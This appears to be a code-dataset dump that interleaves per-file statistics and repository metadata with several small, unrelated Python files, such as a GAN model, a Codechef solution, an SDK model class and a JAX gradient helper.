141), (98, 142), (98, 143), (98, 145), (99, 140), (99, 142), (99, 144), (100, 140), (100, 143), (101, 140), (101, 142), (102, 140), (102, 142), (103, 140), (103, 141), ) coordinates_FE6347 = ((139, 144), (139, 145), (140, 143), (140, 145), (140, 146), (140, 147), (141, 142), (141, 147), (141, 148), (142, 148), (143, 149), (145, 150), (146, 151), (147, 150), (147, 151), (148, 150), (148, 152), (149, 149), (149, 152), (150, 148), (150, 150), (150, 153), (151, 147), (151, 151), (151, 153), (152, 147), (152, 150), (153, 146), (153, 148), (154, 145), (154, 146), (155, 145), ) coordinates_C33AFA = ((157, 141), ) coordinates_C43AFA = ((88, 141), (89, 140), ) coordinates_00760E = ((99, 127), (99, 128), (99, 130), (100, 122), (100, 123), (100, 124), (100, 125), (100, 126), (100, 131), (101, 119), (101, 121), (101, 127), (101, 128), (101, 129), (101, 131), (102, 116), (102, 117), (102, 122), (102, 123), (102, 124), (102, 125), (102, 126), (102, 127), (102, 128), (102, 129), (102, 131), (103, 115), (103, 119), (103, 120), (103, 121), (103, 122), (103, 123), (103, 124), (103, 125), (103, 126), (103, 127), (103, 128), (103, 129), (103, 131), (104, 114), (104, 117), (104, 118), (104, 119), (104, 120), (104, 121), (104, 122), (104, 123), (104, 124), (104, 125), (104, 126), (104, 127), (104, 128), (104, 129), (104, 131), (105, 113), (105, 115), (105, 116), (105, 117), (105, 118), (105, 119), (105, 120), (105, 121), (105, 122), (105, 123), (105, 124), (105, 125), (105, 126), (105, 127), (105, 128), (105, 129), (105, 131), (106, 114), (106, 115), (106, 116), (106, 117), (106, 118), (106, 119), (106, 120), (106, 121), (106, 122), (106, 123), (106, 124), (106, 125), (106, 126), (106, 127), (106, 128), (106, 129), (106, 131), (107, 112), (107, 114), (107, 115), (107, 116), (107, 117), (107, 118), (107, 119), (107, 120), (107, 121), (107, 122), (107, 123), (107, 124), (107, 125), (107, 126), (107, 127), (107, 128), (107, 129), (107, 131), (108, 112), (108, 114), (108, 115), (108, 116), (108, 117), (108, 118), (108, 119), (108, 120), (108, 121), (108, 122), (108, 123), (108, 124), (108, 125), (108, 126), (108, 127), (108, 128), (108, 129), (108, 131), (109, 112), (109, 114), (109, 115), (109, 116), (109, 117), (109, 118), (109, 119), (109, 120), (109, 121), (109, 122), (109, 123), (109, 124), (109, 125), (109, 126), (109, 127), (109, 128), (109, 130), (110, 112), (110, 114), (110, 115), (110, 116), (110, 117), (110, 118), (110, 119), (110, 120), (110, 121), (110, 122), (110, 123), (110, 124), (110, 125), (110, 126), (110, 127), (110, 129), (111, 113), (111, 115), (111, 116), (111, 117), (111, 118), (111, 119), (111, 120), (111, 121), (111, 122), (111, 123), (111, 124), (111, 125), (111, 126), (111, 127), (111, 129), (112, 113), (112, 115), (112, 116), (112, 117), (112, 118), (112, 119), (112, 120), (112, 121), (112, 122), (112, 123), (112, 124), (112, 125), (112, 126), (112, 128), (113, 113), (113, 115), (113, 116), (113, 117), (113, 118), (113, 119), (113, 120), (113, 121), (113, 122), (113, 123), (113, 124), (113, 125), (113, 126), (113, 128), (114, 114), (114, 116), (114, 117), (114, 118), (114, 119), (114, 120), (114, 121), (114, 122), (114, 123), (114, 124), (114, 125), (114, 126), (114, 128), (115, 114), (115, 116), (115, 117), (115, 118), (115, 119), (115, 120), (115, 121), (115, 122), (115, 123), (115, 124), (115, 125), (115, 127), (116, 115), (116, 117), (116, 118), (116, 119), (116, 120), (116, 121), (116, 122), (116, 123), (116, 124), (116, 125), (116, 127), (117, 115), (117, 117), (117, 118), (117, 119), (117, 120), (117, 121), (117, 122), (117, 123), (117, 124), (117, 125), (117, 127), (118, 115), (118, 119), (118, 120), (118, 121), (118, 122), (118, 123), (118, 124), (118, 125), (118, 127), (119, 116), (119, 128), (120, 119), (120, 121), (120, 122), (120, 123), (120, 124), (120, 125), (120, 126), ) coordinates_3C3C3C = ((121, 117), (122, 116), (122, 119), (123, 116), (123, 118), ) coordinates_000080 = ((76, 123), (76, 124), (76, 126), (77, 122), (77, 126), (78, 125), (79, 121), (79, 124), (80, 120), (80, 123), (81, 120), (81, 123), (82, 120), (82, 122), (82, 124), (82, 130), (83, 120), (83, 123), (83, 124), (83, 125), (83, 126), (83, 127), (83, 128), (83, 130), (84, 121), (84, 124), (85, 122), (85, 125), (85, 126), (85, 129), (86, 124), (86, 127), (87, 125), (87, 126), ) coordinates_2E8B57 = ((61, 124), (62, 125), (63, 124), (64, 126), (65, 125), (65, 126), (66, 125), (66, 127), (67, 125), (67, 127), (68, 125), (68, 127), (69, 125), (69, 127), (70, 126), (71, 125), (72, 125), (73, 125), (74, 126), ) coordinates_CC5C5C = ((153, 153), (154, 150), (154, 153), (155, 148), (155, 153), (156, 146), (156, 149), (156, 153), (157, 153), (158, 152), (159, 148), (159, 151), (160, 147), (160, 149), (161, 146), ) coordinates_CD5C5C = ((82, 147), (82, 149), (82, 150), (83, 147), (83, 152), (84, 148), (84, 154), (85, 150), (85, 152), (85, 155), (86, 151), (86, 153), (86, 155), (87, 152), (87, 155), (88, 147), (88, 149), (88, 150), (88, 151), (88, 152), (88, 154), (89, 148), (89, 154), (90, 150), (90, 152), (90, 153), (90, 154), ) coordinates_779FB0 = ((109, 147), (109, 150), (110, 147), (110, 152), (110, 153), (110, 154), (110, 155), (110, 156), (110, 158), (111, 147), (111, 149), (111, 150), (111, 159), (112, 146), (112, 148), (112, 149), (112, 150), (112, 151), (112, 152), (112, 153), (112, 154), (112, 155), (112, 156), (112, 157), (112, 158), (112, 160), (113, 146), (113, 148), (113, 149), (113, 150), (113, 151), (113, 152), (113, 153), (113, 154), (113, 155), (113, 156), (113, 157), (113, 158), (113, 159), (113, 161), (114, 146), (114, 148), (114, 149), (114, 150), (114, 151), (114, 152), (114, 153), (114, 154), (114, 155), (114, 156), (114, 157), (114, 158), (114, 159), (114, 161), (115, 145), (115, 147), (115, 148), (115, 149), (115, 150), (115, 151), (115, 152), (115, 153), (115, 154), (115, 155), (115, 156), (115, 157), (115, 158), (115, 159), (115, 160), (115, 162), (116, 145), (116, 147), (116, 148), (116, 149), (116, 150), (116, 151), (116, 152), (116, 153), (116, 154), (116, 155), (116, 156), (116, 157), (116, 158), (116, 159), (116, 160), (116, 162), (117, 145), (117, 147), (117, 148), (117, 149), (117, 150), (117, 151), (117, 152), (117, 153), (117, 154), (117, 155), (117, 156), (117, 157), (117, 158), (117, 159), (117, 160), (117, 162), (118, 144), (118, 146), (118, 147), (118, 148), (118, 149), (118, 150), (118, 151), (118, 152), (118, 153), (118, 154), (118, 155), (118, 156), (118, 157), (118, 158), (118, 159), (118, 160), (118, 161), (118, 163), (119, 144), (119, 146), (119, 147), (119, 148), (119, 149), (119, 150), (119, 151), (119, 152), (119, 153), (119, 154), (119, 155), (119, 156), (119, 157), (119, 158), (119, 159), (119, 160), (119, 161), (119, 163), (120, 144), (120, 146), (120, 147), (120, 148), (120, 149), (120, 150), (120, 151), (120, 152), (120, 153), (120, 154), (120, 155), (120, 156), (120, 157), (120, 158), (120, 159), (120, 160), (120, 161), (120, 163), (121, 144), (121, 146), (121, 147), (121, 148), (121, 149), (121, 150), (121, 151), (121, 152), (121, 153), (121, 154), (121, 155), (121, 156), (121, 157), (121, 158), (121, 159), (121, 160), (121, 161), (121, 163), (122, 145), (122, 147), (122, 148), (122, 149), (122, 150), (122, 151), (122, 152), (122, 153), (122, 154), (122, 155), (122, 156), (122, 157), (122, 158), (122, 159), (122, 160), (122, 161), (122, 163), (123, 145), (123, 147), (123, 148), (123, 149), (123, 150), (123, 151), (123, 152), (123, 153), (123, 154), (123, 155), (123, 156), (123, 157), (123, 158), (123, 159), (123, 160), (123, 162), (124, 144), (124, 146), (124, 147), (124, 148), (124, 149), (124, 150), (124, 151), (124, 152), (124, 153), (124, 154), (124, 155), (124, 156), (124, 157), (124, 158), (124, 159), (124, 160), (124, 162), (125, 144), (125, 146), (125, 147), (125, 148), (125, 149), (125, 150), (125, 151), (125, 152), (125, 153), (125, 154), (125, 155), (125, 156), (125, 157), (125, 158), (125, 159), (125, 160), (125, 162), (126, 144), (126, 146), (126, 147), (126, 148), (126, 149), (126, 150), (126, 151), (126, 152), (126, 153), (126, 154), (126, 155), (126, 156), (126, 157), (126, 158), (126, 159), (126, 160), (126, 162), (127, 144), (127, 146), (127, 147), (127, 148), (127, 149), (127, 150), (127, 151), (127, 152), (127, 153), (127, 154), (127, 155), (127, 156), (127, 157), (127, 158), (127, 159), (127, 161), (128, 144), (128, 146), (128, 147), (128, 148), (128, 149), (128, 150), (128, 151), (128, 152), (128, 153), (128, 154), (128, 155), (128, 156), (128, 157), (128, 158), (128, 159), (128, 161), (129, 145), (129, 147), (129, 148), (129, 149), (129, 150), (129, 151), (129, 152), (129, 153), (129, 154), (129, 155), (129, 156), (129, 157), (129, 158), (129, 159), (129, 161), (130, 145), (130, 147), (130, 148), (130, 149), (130, 150), (130, 151), (130, 152), (130, 153), (130, 154), (130, 155), (130, 156), (130, 157), (130, 158), (130, 159), (130, 161), (131, 145), (131, 147), (131, 148), (131, 149), (131, 150), (131, 151), (131, 152), (131, 153), (131, 154), (131, 155), (131, 156), (131, 157), (131, 158), (131, 159), (131, 161), (132, 145), (132, 147), (132, 148), (132, 149), (132, 150), (132, 151), (132, 152), (132, 153), (132, 154), (132, 155), (132, 156), (132, 157), (132, 158), (132, 159), (132, 161), (133, 146), (133, 148), (133, 149), (133, 150), (133, 151), (133, 152), (133, 153), (133, 154), (133, 155), (133, 156), (133, 157), (133, 160), (134, 146), (134, 148), (134, 149), (134, 150), (134, 151), (134, 152), (134, 153), (134, 154), (134, 155), (134, 156), (134, 159), (135, 146), (135, 148), (135, 149), (135, 150), (135, 151), (135, 152), (135, 153), (135, 154), (135, 155), (135, 157), (136, 147), (136, 150), (136, 151), (136, 152), (136, 153), (136, 156), (137, 148), (137, 155), (138, 150), (138, 153), ) coordinates_010080 = ((159, 119), (159, 120), (160, 118), (160, 122), (161, 118), (161, 120), (161, 123), (162, 117), (162, 119), (162, 120), (162, 121), (162, 122), (162, 124), (163, 117), (163, 120), (164, 117), (164, 119), (165, 118), (165, 120), (166, 118), (166, 120), (167, 118), (167, 121), (168, 122), (169, 119), (169, 121), (169, 123), ) coordinates_2D8B57 = ((170, 118), (171, 118), (171, 120), (171, 121), (171, 123), (172, 118), (172, 123), (173, 118), (173, 120), (173, 122), (174, 118), (174, 120), (174, 121), (174, 122), (175, 118), (175, 121), (176, 118), (176, 121), (177, 118), (177, 121), (178, 118), (178, 121), (179, 119), (179, 121), (180, 119), (180, 121), (181, 119), (181, 121), (182, 119), (182, 121), (183, 119), (183, 121), (184, 119), (184, 121), (185, 119), (185, 121), (186, 120), (186, 121), ) coordinates_D1B48C = ((155, 112), (156, 112), (156, 113), (157, 111), (157, 112), (158, 111), (158, 113), (158, 116), (159, 111), (159, 113), (159, 114), (159, 116), (160, 110), (160, 112), (160, 113), (160, 114), (160, 116), (161, 110), (161, 112), (161, 113), (161, 114), (161, 116), (162, 109), (162, 111), (162, 112), (162, 113), (162, 115), (163, 108), (163, 110), (163, 111), (163, 112), (163, 113), (163, 115), (164, 108), (164, 110), (164, 111), (164, 112), (164, 114), (165, 108), (165, 110), (165, 111), (165, 113), (166, 108), (166, 111), (166, 113), (167, 109), (167, 112), (167, 114), (168, 110), (168, 114), (169, 111), (169, 115), (170, 112), (170, 115), (171, 113), (171, 116), (172, 114), (172, 116), (173, 114), (173, 116), (174, 115), (174, 116), (175, 115), (175, 116), (176, 115), (176, 116), (177, 115), (177, 116), (178, 115), (178, 116), (179, 115), (179, 116), (180, 115), (180, 116), (181, 115), (181, 116), (182, 115), (183, 116), ) coordinates_FEA600 = ((172, 103), (173, 102), (173, 103), (174, 101), (174, 102), (174, 107), (174, 108), (175, 100), (175, 102), (175, 106), (175, 109), (176, 100), (176, 102), (176, 106), (176, 109), (177, 100), (177, 102), (177, 106), (177, 109), (178, 100), (178, 102), (178, 105), (178, 106), (178, 107), (178, 109), (179, 99), (179, 101), (179, 102), (179, 103), (179, 106), (179, 107), (179, 108), (179, 110), (180, 94), (180, 100), (180, 101), (180, 102), (180, 103), (180, 105), (180, 106), (180, 107), (180, 108), (180, 110), (181, 92), (181, 96), (181, 99), (181, 100), (181, 101), (181, 102), (181, 103), (181, 111), (182, 93), (182, 98), (182, 99), (182, 100), (182, 101), (182, 102), (182, 105), (182, 106), (182, 107), (182, 108), (182, 109), (182, 113), (183, 96), (183, 97), (183, 103), (183, 111), (183, 114), (184, 98), (184, 100), (184, 102), (184, 114), (185, 112), (185, 114), (186, 113), (186, 114), ) coordinates_FEA501 = ((58, 110), (58, 113), (59, 107), (59, 109), (59, 113), (60, 103), (60, 105), (60, 108), (60, 110), (60, 111), (60, 113), (61, 103), (61, 106), (61, 110), (61, 111), (61, 112), (61, 113), (61, 115), (61, 116), (61, 118), (62, 105), (62, 110), (62, 112), (62, 113), (62, 120), (63, 105), (63, 110), (63, 112), (63, 113), (63, 114), (63, 115), (63, 116), (63, 117), (63, 118), (63, 120), (64, 110), (64, 112), (64, 113), (64, 114), (64, 120), (65, 110), (65, 112), (65, 115), (65, 116), (65, 117), (65, 118), (65, 120), (66, 110), (66, 114), (67, 110), (67, 112), (68, 110), (68, 111), ) coordinates_D2B48C = ((63, 122), (64, 122), (65, 122), (65, 123), (66, 122), (66, 123), (67, 122), (67, 123), (68, 123), (69, 123), (70, 122), (70, 123), (71, 123), (72, 117), (72, 118), (72, 119), (72, 120), (72, 123), (73, 114), (73, 116), (73, 121), (73, 123), (74, 113), (74, 116), (74, 117), (74, 118), (74, 119), (74, 120), (74, 121), (74, 123), (75, 113), (75, 115), (75, 116), (75, 117), (75, 118), (75, 119), (75, 120), (75, 122), (76, 113), (76, 115), (76, 116), (76, 117), (76, 118), (76, 119), (76, 121), (77, 112), (77, 114), (77, 115), (77, 116), (77, 117), (77, 118), (77, 120), (78, 112), (78, 114), (78, 115), (78, 116), (78, 117), (78, 119), (79, 112), (79, 114), (79, 115), (79, 116), (79, 117), (79, 119), (80, 112), (80, 114), (80, 115), (80, 116), (80, 118), (81, 112), (81, 114), (81, 115), (81, 118), (82, 112), (82, 114), (82, 117), (82, 118), (83, 112), (83, 115), (84, 112), (84, 114), (85, 112), (86, 112), )
420.927273
865
0.476567
12,026
69,453
2.747963
0.015466
0.002118
0.000545
0.000605
0.006839
0.004539
0.00345
0.00345
0.00345
0.001816
0
0.56628
0.177876
69,453
164
866
423.493902
0.012487
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1772b7701fe8db926775eb1e7fc2d848e5a3e31b
152
py
Python
SEGM01.py
abphilip-codes/Codechef_Practice
21fd52e03df8a0f72a08b0e2a0b48dbd508aac95
[ "MIT" ]
2
2021-07-26T03:32:24.000Z
2021-07-31T02:32:14.000Z
SEGM01.py
abphilip-codes/Codechef_Practice
21fd52e03df8a0f72a08b0e2a0b48dbd508aac95
[ "MIT" ]
null
null
null
SEGM01.py
abphilip-codes/Codechef_Practice
21fd52e03df8a0f72a08b0e2a0b48dbd508aac95
[ "MIT" ]
1
2021-07-14T17:45:33.000Z
2021-07-14T17:45:33.000Z
# https://www.codechef.com/problems/SEGM01 for T in range(int(input())): print("NO") if(len([s for s in input().split('0') if s])!=1) else print("YES")
50.666667
108
0.644737
29
152
3.37931
0.758621
0
0
0
0
0
0
0
0
0
0
0.029412
0.105263
152
3
108
50.666667
0.691176
0.263158
0
0
0
0
0.054054
0
0
0
0
0
0
1
0
false
0
0
0
0
1
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
178c03a50e09ae99d12c634312ae8fad4c0cb946
356
py
Python
test/test_experiment.py
cesslab/Experiment-WinnersCurseCommonValueAuctions
cfcba80c859d93b84f90c12812ad537ece985783
[ "MIT" ]
null
null
null
test/test_experiment.py
cesslab/Experiment-WinnersCurseCommonValueAuctions
cfcba80c859d93b84f90c12812ad537ece985783
[ "MIT" ]
null
null
null
test/test_experiment.py
cesslab/Experiment-WinnersCurseCommonValueAuctions
cfcba80c859d93b84f90c12812ad537ece985783
[ "MIT" ]
null
null
null
from exp.experiment import Experiment from exp.auctions import Auction def test_experiment_generates_auctions(): experiment = Experiment() assert experiment.auctions is not None assert len(experiment.auctions) > 0 for aid, auction in experiment.auctions.items(): assert type(auction) is Auction assert type(aid) is int
23.733333
52
0.733146
45
356
5.733333
0.466667
0.209302
0
0
0
0
0
0
0
0
0
0.003521
0.202247
356
14
53
25.428571
0.90493
0
0
0
1
0
0
0
0
0
0
0
0.444444
1
0.111111
false
0
0.222222
0
0.333333
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
3
178dbdd8b250359fb24d98442b72d49ee1162123
318
py
Python
iris_sdk/models/data/warnings.py
NumberAI/python-bandwidth-iris
0e05f79d68b244812afb97e00fd65b3f46d00aa3
[ "MIT" ]
2
2020-04-13T13:47:59.000Z
2022-02-23T20:32:41.000Z
iris_sdk/models/data/warnings.py
bandwidthcom/python-bandwidth-iris
dbcb30569631395041b92917252d913166f7d3c9
[ "MIT" ]
5
2020-09-18T20:59:24.000Z
2021-08-25T16:51:42.000Z
iris_sdk/models/data/warnings.py
bandwidthcom/python-bandwidth-iris
dbcb30569631395041b92917252d913166f7d3c9
[ "MIT" ]
5
2018-12-12T14:39:50.000Z
2020-11-17T21:42:29.000Z
#!/usr/bin/env python from iris_sdk.models.base_resource import BaseData, BaseResourceList from iris_sdk.models.data.warning import WarningCls from iris_sdk.models.maps.warnings import WarningsMap class Warnings(WarningsMap, BaseData): def __init__(self): self.warning = BaseResourceList(WarningCls)
28.909091
68
0.792453
40
318
6.1
0.575
0.098361
0.135246
0.209016
0
0
0
0
0
0
0
0
0.128931
318
10
69
31.8
0.880866
0.062893
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0.5
0
0.833333
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
1790cc893e6d52330b207e260a9eaf290b4c127a
1,053
py
Python
py1kgp/__init__.py
anthony-aylward/py1kgp
2d7aa9a32a28e800a0b23fb73c5e147d8ce3f3f2
[ "MIT" ]
null
null
null
py1kgp/__init__.py
anthony-aylward/py1kgp
2d7aa9a32a28e800a0b23fb73c5e147d8ce3f3f2
[ "MIT" ]
null
null
null
py1kgp/__init__.py
anthony-aylward/py1kgp
2d7aa9a32a28e800a0b23fb73c5e147d8ce3f3f2
[ "MIT" ]
null
null
null
"""Extract a line from 1KGP data and create an object A mini-module built to provide an easy interface with 1KGP data in python3. Examples ------- import py1kgp py1kgp.Variant('rs10') py1kgp.Variant(id='rs10') py1kgp.Variant(7, 92383888) py1kgp.Variant(chrom=7, pos=92383888) py1kgp.fast_genotypes(7, 92383888) py1kgp.fast_genotypes(7, 92383888, samples='NA21142,NA21143,NA21144') py1kgp.fast_maf(7, 92383888) py1kgp.slice_vcf(1, (1000000, 2000000)) py1kgp.slice_vcf(1, (1000000, 2000000), samples='NA21142,NA21143,NA21144') py1kgp.slice_vcf(1, (1000000, 2000000), samples='AFR') py1kgp.slice_vcf(1, (1000000, 2000000), samples='samples.panel') CHR, POS, F = kgp.dicts() Notes ----- The Variant class parses an entire 1KGP line into an object, so it might not be the fastest solution for all cases. This module may be a good place to include faster utilities, e.g. a function for fast MAF lookup, as the need arises. Classes ------- Variant a variant """ from py1kgp.py1kgp import ( DIR, Variant, slice_vcf, fast_maf, fast_genotypes, dicts )
29.25
79
0.749288
164
1,053
4.75
0.487805
0.051348
0.071887
0.077022
0.328626
0.258023
0.138639
0
0
0
0
0.170838
0.127255
1,053
35
80
30.085714
0.676823
0.906933
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
3
1796c18ee1a8d7910accaae55715822cc4c5f916
419
py
Python
epi_judge_python/buy_and_sell_stock_twice.py
shobhitmishra/CodingProblems
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
[ "MIT" ]
null
null
null
epi_judge_python/buy_and_sell_stock_twice.py
shobhitmishra/CodingProblems
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
[ "MIT" ]
null
null
null
epi_judge_python/buy_and_sell_stock_twice.py
shobhitmishra/CodingProblems
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
[ "MIT" ]
null
null
null
from typing import List from test_framework import generic_test def buy_and_sell_stock_twice(prices: List[float]) -> float: # TODO - you fill in here. return 0.0 if __name__ == '__main__': exit( generic_test.generic_test_main('buy_and_sell_stock_twice.py', 'buy_and_sell_stock_twice.tsv', buy_and_sell_stock_twice))
26.1875
70
0.610979
54
419
4.203704
0.518519
0.105727
0.176211
0.264317
0.352423
0
0
0
0
0
0
0.006993
0.317422
419
15
71
27.933333
0.786713
0.057279
0
0
0
0
0.160305
0.139949
0
0
0
0.066667
0
1
0.111111
false
0
0.222222
0.111111
0.444444
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
1
0
0
0
3
bd5d1565dfde491556624a3ab2a254c9b3aeb143
123
py
Python
main.py
yonathanF/GroupMeBot
90c2e354f61cd15c22a8a54a273b8a3eddfa3bca
[ "MIT" ]
1
2018-03-24T22:33:48.000Z
2018-03-24T22:33:48.000Z
main.py
yonathanF/GroupMeBot
90c2e354f61cd15c22a8a54a273b8a3eddfa3bca
[ "MIT" ]
1
2020-06-05T18:14:45.000Z
2020-06-05T18:14:45.000Z
main.py
yonathanF/GroupMeBot
90c2e354f61cd15c22a8a54a273b8a3eddfa3bca
[ "MIT" ]
null
null
null
import requests response = requests.get('https://httpbin.org/ip') print('Your IP is {0}'.format(reponse.json()['origin']))
30.75
56
0.707317
18
123
4.833333
0.888889
0
0
0
0
0
0
0
0
0
0
0.008772
0.073171
123
3
57
41
0.754386
0
0
0
0
0
0.341463
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
bd7bced5a186e4b285cf7a0821b42ea9b2e7eed4
257
py
Python
py/cidoc_crm_types/properties/p185i_ends_after_the_end_of.py
minorg/cidoc-crm-types
9018bdbf0658e4d28a87bc94543e467be45d8aa5
[ "Apache-2.0" ]
null
null
null
py/cidoc_crm_types/properties/p185i_ends_after_the_end_of.py
minorg/cidoc-crm-types
9018bdbf0658e4d28a87bc94543e467be45d8aa5
[ "Apache-2.0" ]
null
null
null
py/cidoc_crm_types/properties/p185i_ends_after_the_end_of.py
minorg/cidoc-crm-types
9018bdbf0658e4d28a87bc94543e467be45d8aa5
[ "Apache-2.0" ]
null
null
null
from .p184i_ends_with_or_after_the_end_of import P184iEndsWithOrAfterTheEndOf from dataclasses import dataclass @dataclass class P185iEndsAfterTheEndOf(P184iEndsWithOrAfterTheEndOf): URI = "http://erlangen-crm.org/current/P185i_ends_after_the_end_of"
32.125
77
0.863813
31
257
6.774194
0.709677
0.07619
0.104762
0.12381
0
0
0
0
0
0
0
0.063291
0.077821
257
7
78
36.714286
0.822785
0
0
0
0
0
0.229572
0
0
0
0
0
0
1
0
false
0
0.4
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
bd890cd724fefbf3c8d592347f4bfdece66ec358
2,062
py
Python
annpy/models/gan.py
nirvguy/annpy
ea5f92048173d0ebd1ad134cf626fa623569905e
[ "0BSD" ]
null
null
null
annpy/models/gan.py
nirvguy/annpy
ea5f92048173d0ebd1ad134cf626fa623569905e
[ "0BSD" ]
null
null
null
annpy/models/gan.py
nirvguy/annpy
ea5f92048173d0ebd1ad134cf626fa623569905e
[ "0BSD" ]
null
null
null
from abc import abstractmethod import torch from torch.autograd import Variable from torch import nn from torchtrainer.utils.mixins import CudaMixin def weights_init(m): classname = m.__class__.__name__ if classname.find('Linear') != -1 or classname.find('Conv') != -1: # print("Initializing Linear") m.weight.data.normal_(0.0, 0.01) m.bias.data.normal_(0.0, 0.001) elif classname.find('BatchNorm') != -1: # print("Initializing BatchNorm") m.weight.data.normal_(1.0, 0.01) m.bias.data.normal_(0.0, 0.001) class Generator(nn.Module): @abstractmethod def sample_noise_input(self, batch_size): pass class Discriminator(nn.Module): @abstractmethod def log_proba_discriminate(self, x): return class GAN(CudaMixin, nn.Module): def __init__(self, discriminator, generator): super(GAN, self).__init__() self.discriminator = discriminator self.generator = generator self.generator.apply(weights_init) self.discriminator.apply(weights_init) self.eval() def _sample_input(self, batchs): x = torch.randn(batchs, *self.generator.input_shape) return self._tensor_to_cuda(x) def sample(self, batchs): return self.generator(Variable(self._sample_input(batchs))) def discriminate(self, x): return self.discriminator(x) def discriminate_proba(self, x): return nn.Sigmoid()(self.discriminator(x)) def cuda(self): super(GAN, self).cuda() self.generator.cuda() self.discriminator.cuda() def cpu(self): super(GAN, self).cpu() self.generator.cpu() self.discriminator.cpu() class ConditionalGAN(GAN): def sample(self, labels): x = self._sample_input(len(labels)) return self.generator(Variable(x), labels) def discriminate(self, x, labels): return self.discriminator(x, labels) def discriminate_proba(self, x, labels): return nn.Sigmoid()(self.discriminator(x, labels))
28.638889
70
0.657614
257
2,062
5.120623
0.256809
0.116261
0.054711
0.027356
0.134498
0.088146
0.037994
0.037994
0.037994
0.037994
0
0.015586
0.222114
2,062
71
71
29.042254
0.804863
0.029098
0
0.074074
0
0
0.009505
0
0
0
0
0
0
1
0.240741
false
0.018519
0.092593
0.111111
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
bd8b92dc67442b01a8efbafd66c891aa19a695a6
504
pyw
Python
src/Prototype.pyw
SilverousBlack/Prototypes
4871fab41caa634b574cc9b4c4928bb0ed9c39af
[ "MIT" ]
null
null
null
src/Prototype.pyw
SilverousBlack/Prototypes
4871fab41caa634b574cc9b4c4928bb0ed9c39af
[ "MIT" ]
null
null
null
src/Prototype.pyw
SilverousBlack/Prototypes
4871fab41caa634b574cc9b4c4928bb0ed9c39af
[ "MIT" ]
null
null
null
""" Prototype Algorithms Library (c) Silverous Black, 2020 License(s): MIT Licence Notice: The distribution, ownership, reproduction and use of this library is subject to the above stated license. Contains all prototype algorithms from: > Prototype Algorithms Core [Prototype.pyw] > Searching Algorithms [SearchingAlgorithms.pyw] > Sorting Algorithms [SortingAlgorithms.pyw] """ from PrototypeCore import * from SearchingAlgorithms import * from SortingAlgorithms import * import visualized as visual
28
113
0.805556
59
504
6.881356
0.661017
0.140394
0
0
0
0
0
0
0
0
0
0.009132
0.130952
504
18
114
28
0.917808
0.740079
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
bdc2ab903dabe72fa6262db3b737de31788e34c0
349
py
Python
autograd_cls.py
Saghar-H/CS234_Project
7849a33827e106868c28e00423b86e8d6095bba1
[ "Apache-2.0" ]
null
null
null
autograd_cls.py
Saghar-H/CS234_Project
7849a33827e106868c28e00423b86e8d6095bba1
[ "Apache-2.0" ]
1
2019-05-22T10:16:30.000Z
2019-05-22T10:16:30.000Z
autograd_cls.py
Saghar-H/CS234_Project
7849a33827e106868c28e00423b86e8d6095bba1
[ "Apache-2.0" ]
null
null
null
from jax import grad as jax_grad from jax import jit class AutoGrad: def __init__(self, loss, indx): self.loss = loss self.indx = indx # The index of paramter with respect to which we need the gradinet in the loss input parameters def gradient_fun(self): self.loss_autograd_fun = jit(jax_grad(self.loss, self.indx))
34.9
120
0.707736
56
349
4.25
0.517857
0.134454
0.109244
0
0
0
0
0
0
0
0
0
0.226361
349
9
121
38.777778
0.881481
0.266476
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
bdc745ac1a3848d311e1ff10578f0c06ca50d3de
128
py
Python
data/operator/bbox/spatial/xywh2cxcywh.py
zhangzhengde0225/SwinTrack
526be17f8ef266cb924c6939bd8dda23e9b73249
[ "MIT" ]
143
2021-12-03T02:33:36.000Z
2022-03-29T00:01:48.000Z
data/operator/bbox/spatial/xywh2cxcywh.py
zhangzhengde0225/SwinTrack
526be17f8ef266cb924c6939bd8dda23e9b73249
[ "MIT" ]
33
2021-12-03T10:32:05.000Z
2022-03-31T02:13:55.000Z
data/operator/bbox/spatial/xywh2cxcywh.py
zhangzhengde0225/SwinTrack
526be17f8ef266cb924c6939bd8dda23e9b73249
[ "MIT" ]
24
2021-12-04T06:46:42.000Z
2022-03-30T07:57:47.000Z
